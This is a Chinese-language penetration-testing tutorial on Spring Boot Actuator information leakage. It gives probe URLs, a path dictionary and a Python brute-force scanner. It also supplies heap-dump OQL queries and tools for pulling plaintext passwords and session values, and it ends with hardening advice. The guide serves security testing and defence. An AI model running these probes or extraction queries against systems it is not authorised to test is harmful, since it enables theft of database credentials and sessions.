Spring Boot框架敏感信息泄露漏洞测试方法
字数 2126 2025-08-11 17:40:19
Spring Boot框架敏感信息泄露漏洞测试方法
一、Spring Boot框架概述
Spring Boot是一个基于Spring框架的快速开发框架,主要特点:
- 自动配置:根据存在的jar包自动配置Spring应用
- 简化配置:减少样板化配置
- 集成功能:内置嵌入式Web服务器、系统监控等企业级功能
二、Actuator中间件工具
Actuator是Spring Boot提供的服务监控和管理工具,会注册多个端点到路由进程中。错误配置可能导致敏感信息泄露。
三、识别Spring Boot框架的方法
- 网站icon文件:检查favicon.ico是否使用Spring Boot默认图标
- 特有报错信息:页面出现Spring Boot特有的错误页面
四、敏感信息泄露漏洞分析
版本差异
- Spring Boot < 1.5:默认未授权访问所有端点
- Spring Boot >= 1.5:默认只允许访问/health和/info端点,但开发者常禁用此安全性
端点功能列表
| 路径 | 描述 | 默认启用 |
|---|---|---|
| auditevents | 显示当前应用程序的审计事件信息 | Yes |
| beans | 显示应用中所有Spring Beans的完整列表 | Yes |
| conditions | 显示配置类和自动配置类的状态及原因 | Yes |
| configprops | 显示所有@ConfigurationProperties的集合 | Yes |
| env | 显示ConfigurableEnvironment的属性 | Yes |
| flyway | 显示数据库迁移路径 | Yes |
| health | 显示应用健康信息 | Yes |
| info | 显示任意应用信息 | Yes |
| liquibase | 展示Liquibase数据库迁移路径 | Yes |
| metrics | 展示当前应用的metrics信息 | Yes |
| mappings | 显示所有@RequestMapping路径集合 | Yes |
| scheduledtasks | 显示应用程序中的计划任务 | Yes |
| sessions | 从会话存储中检索和删除用户会话 | Yes |
| shutdown | 允许应用优雅关闭 | No |
| threaddump | 执行线程dump | Yes |
| heapdump | 返回GZip压缩的hprof堆dump文件 | Yes |
| jolokia | 通过HTTP暴露JMX beans | Yes |
| logfile | 返回日志文件内容 | Yes |
| prometheus | 以Prometheus格式显示metrics信息 | Yes |
五、漏洞测试方法
1. 访问/actuator
检查是否暴露所有端点:
http://target.com/actuator
2. 访问/actuator/version
获取版本信息:
http://target.com/actuator/version
3. 访问/env或/actuator/env
可能泄露数据库账号密码等敏感信息:
http://target.com/actuator/env
注意:密码可能被星号脱敏,需通过heapdump分析获取明文。
4. 访问/actuator/metrics
获取度量指标名称:
http://target.com/actuator/metrics
获取特定度量详细信息:
http://target.com/actuator/metrics/{metric_name}
5. 访问/actuator/threaddump
获取服务器线程堆栈信息:
http://target.com/actuator/threaddump
6. 访问/actuator/loggers
获取服务器日志级别:
http://target.com/actuator/loggers
7. 访问/actuator/configprops
查看配置文件属性:
http://target.com/actuator/configprops
8. 访问/actuator/info
获取应用一般信息:
http://target.com/actuator/info
9. 访问/actuator/prometheus
获取监控指标:
http://target.com/actuator/prometheus
10. 访问/actuator/mappings
获取所有URI路径映射关系:
http://target.com/actuator/mappings
11. 访问/actuator/health
获取健康检查信息(默认简单状态):
http://target.com/actuator/health
获取详细健康信息(需配置):
management:
endpoint:
health:
show-details: always
12. 访问/heapdump或/actuator/heapdump
获取JVM堆转储文件:
http://target.com/actuator/heapdump
六、heapdump文件分析工具
1. Eclipse Memory Analyzer (MAT)
下载地址:https://www.eclipse.org/mat/downloads.php
常用OQL查询语句:
-- 查看所有配置信息
select * from org.springframework.web.context.support.StandardServletEnvironment
-- 查找包含"password"的信息
select * from java.util.LinkedHashMap$Entry s WHERE (toString(s.key).contains("password"))
或
select * from java.util.Hashtable$Entry s WHERE (toString(s.key).contains("password"))
-- 查找包含"SESSION"的信息
select * from java.lang.String s WHERE toString(s) LIKE ".*SESSION.*"
2. heapdump_tool
GitHub地址:https://github.com/wyzxxz/heapdump_tool
功能:
- 查找包含password字段的对象
- 获取IP地址信息:
getip - 获取文件信息:
getfile - 获取URL信息:
geturl
3. JDumpSpider
GitHub地址:https://github.com/whwlsfb/JDumpSpider
七、测试字典
Spring Boot敏感端点路径字典(部分):
/actuator
/actuator/auditevents
/actuator/beans
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/health
/actuator/heapdump
/actuator/httptrace
/actuator/info
/actuator/jolokia
/actuator/logfile
/actuator/loggers
/actuator/mappings
/actuator/metrics
/actuator/scheduledtasks
/actuator/threaddump
/actuator/trace
/swagger-ui.html
/api/swagger-ui.html
/druid/index.html
八、自动化测试脚本示例
import requests
import time
with open("url.txt", 'r') as temp:
for url in temp.readlines():
url = url.strip('\n')
with open("SpringBoot信息泄露目录字典.txt", 'r') as web:
webs = web.readlines()
for web in webs:
web = web.strip()
u = url + web
r = requests.get(u)
print("url为:" + u + " 状态为:%d" % r.status_code + " content-length为:" + str(len(r.content)))
九、防护建议
- 升级到最新Spring Boot版本
- 配置端点访问权限:
management:
endpoints:
web:
exposure:
include: health,info
- 禁用不必要的端点
- 添加认证机制
- 定期检查端点暴露情况